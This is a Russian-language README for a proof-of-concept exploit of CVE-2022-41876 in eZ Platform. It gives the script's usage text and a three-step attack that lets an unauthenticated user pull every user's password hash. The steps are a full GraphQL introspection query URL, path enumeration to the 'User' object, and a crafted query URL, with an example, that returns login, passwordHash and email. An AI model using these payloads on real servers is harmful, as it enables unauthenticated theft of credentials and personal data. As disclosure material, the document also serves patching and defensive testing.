
PoC для CVE-2022-41876
В eZ Platform была обнаружена уязвимость, позволяющая неаутентифицированному пользователю получить хэш пароля каждого участника. Этот PoC перечисляет все возможные пути GraphQL, ведущие к объекту 'User', а затем запрашивает эти пути для получения конфиденциальной информации пользователей.
python3 cve-2022-41876.py -h
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url
CVE-2022-41876 POC
positional arguments:
url Target URL (specify the graphql endpoint)
optional arguments:
-h, --help show this help message and exit
-t, --thread Number of threads
-f FILE, --file FILE Local path to introspect file

Ниже приведены шаги, которые выполняет этот инструмент для эксплуатации CVE:
Первый шаг для эксплуатации этой CVE — получить файл introspect.json. Один из способов его получения — отправить запрос к GraphQL endpoint сервера со следующим пэйлоадом:
https://<your-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}
Затем полученный от сервера JSON можно использовать для извлечения всех путей к объектам 'User' с помощью инструмента graphql-enum-path следующим образом:

Наконец, когда все пути найдены, необходимо сформировать специальный пэйлоад следующим образом и отправить его на сервер:
https://<your-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}
Где элементы соответствуют тексту между скобками в результате graphql-enum-path (обратите внимание, что запрос должен выполняться для каждого пути).
Итак, с приведённым выше примером graphql-enum-path первый пэйлоад будет таким:
https://<your-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}
Если сервер уязвим к этой CVE, он ответит на этот запрос JSON-файлом, содержащим данные пользователей.